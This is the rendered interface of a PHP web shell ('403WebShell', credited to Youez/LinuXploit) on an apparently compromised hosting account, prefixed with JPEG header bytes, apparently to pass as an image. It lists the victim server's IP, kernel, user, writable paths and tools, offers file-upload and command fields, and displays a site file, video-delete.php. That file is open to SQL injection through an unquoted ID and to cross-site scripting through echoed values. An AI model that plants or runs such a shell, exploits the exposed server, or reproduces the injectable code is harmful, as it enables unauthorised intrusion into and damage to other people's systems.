����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 3.138.134.77
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/learn.skilltainment.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/learn.skilltainment.org/video-delete.php
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <script type="text/javascript" src="./js/sweetalert.min.js"></script>
    <style>
        * {
            font-family: Arial, Helvetica, sans-serif;
        }
    </style>
</head>

<body>
    <?php
    include './php/connect.php';
    include './php/core.php';
    if (!loggedin()) {
        header('location:../signin');
    }
    if (isset($_GET['pid'], $_GET['vid'])) {
        $pid = mysqli_real_escape_string($conn, $_GET['pid']);
        $vid = mysqli_real_escape_string($conn, $_GET['vid']);

        $sql = "SELECT `video`,`video_title` FROM `videos` WHERE `vid`=$vid";
        if ($query_run = mysqli_query($conn, $sql)) {
            list($file, $title) = mysqli_fetch_array($query_run);
            $sql = "DELETE FROM `videos` WHERE `vid`=$vid";
            if ($query_run = mysqli_query($conn, $sql)) {
                if (@unlink('./playlists/vid/' . $file)) {
                    ?>
                    <script>
                        swal("SUCCESS", "<?php echo $title; ?> was successfully deleted", "success");
                        setTimeout(function() {
                            window.location = 'playlist.php?id=<?php echo $pid; ?>'
                        }, 1000);
                    </script>
                    <?php
                }
            } else {
                die(mysqli_error($conn));
            }
        }
    }
    ?>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit